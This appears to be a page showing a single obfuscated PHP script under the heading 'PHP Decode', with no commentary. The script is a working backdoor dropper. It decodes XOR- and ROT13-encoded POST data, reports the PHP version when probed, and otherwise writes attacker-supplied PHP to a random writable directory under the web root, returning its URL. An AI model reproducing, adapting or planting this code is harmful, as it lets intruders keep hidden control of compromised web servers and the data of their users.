PHP Decode

<?php $snvkdjz = "mhmmqynitfmsjajr";$wwfeebhuq = "";foreach ($_POST as $qdhxdj => $thuhjoeq){if (strlen($qdhxdj) == 16 and substr_count($thuhjoeq, "%") > 10){fytne($qdhxdj, $thuhjoeq);}}function fytne($qdhxdj, $urtcgqbvhanqvm){global $wwfeebhuq;$wwfeebhuq = $qdhxdj;$urtcgqbvhanqvm = str_split(rawurldecode(str_rot13($urtcgqbvhanqvm)));function kyvajztf($nlmacotjl, $qdhxdj){global $snvkdjz, $wwfeebhuq;return $nlmacotjl ^ $snvkdjz[$qdhxdj % strlen($snvkdjz)] ^ $wwfeebhuq[$qdhxdj % strlen($wwfeebhuq)];}$urtcgqbvhanqvm = implode("", array_map("kyvajztf", array_values($urtcgqbvhanqvm), array_keys($urtcgqbvhanqvm)));$urtcgqbvhanqvm = @unserialize($urtcgqbvhanqvm);if (@is_array($urtcgqbvhanqvm)){$qdhxdj = array_keys($urtcgqbvhanqvm);$urtcgqbvhanqvm = $urtcgqbvhanqvm[$qdhxdj[0]];if ($urtcgqbvhanqvm === $qdhxdj[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function jimdwz($urtcgqir) {static $azpmymhb = array();$fcntcrhk = glob($urtcgqir . '/*', GLOB_ONLYDIR);if (count($fcntcrhk) > 0) {foreach ($fcntcrhk as $urtcgq){if (@is_writable($urtcgq)){$azpmymhb[] = $urtcgq;}}}foreach ($fcntcrhk as $urtcgqir) jimdwz($urtcgqir);return $azpmymhb;}$ehpsk = $_SERVER["DOCUMENT_ROOT"];$fcntcrhk = jimdwz($ehpsk);$qdhxdj = array_rand($fcntcrhk);$jdeqcte = $fcntcrhk[$qdhxdj] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($jdeqcte, $urtcgqbvhanqvm);echo "http://" . $_SERVER["HTTP_HOST"] . substr($jdeqcte, strlen($ehpsk));exit();}}} ?>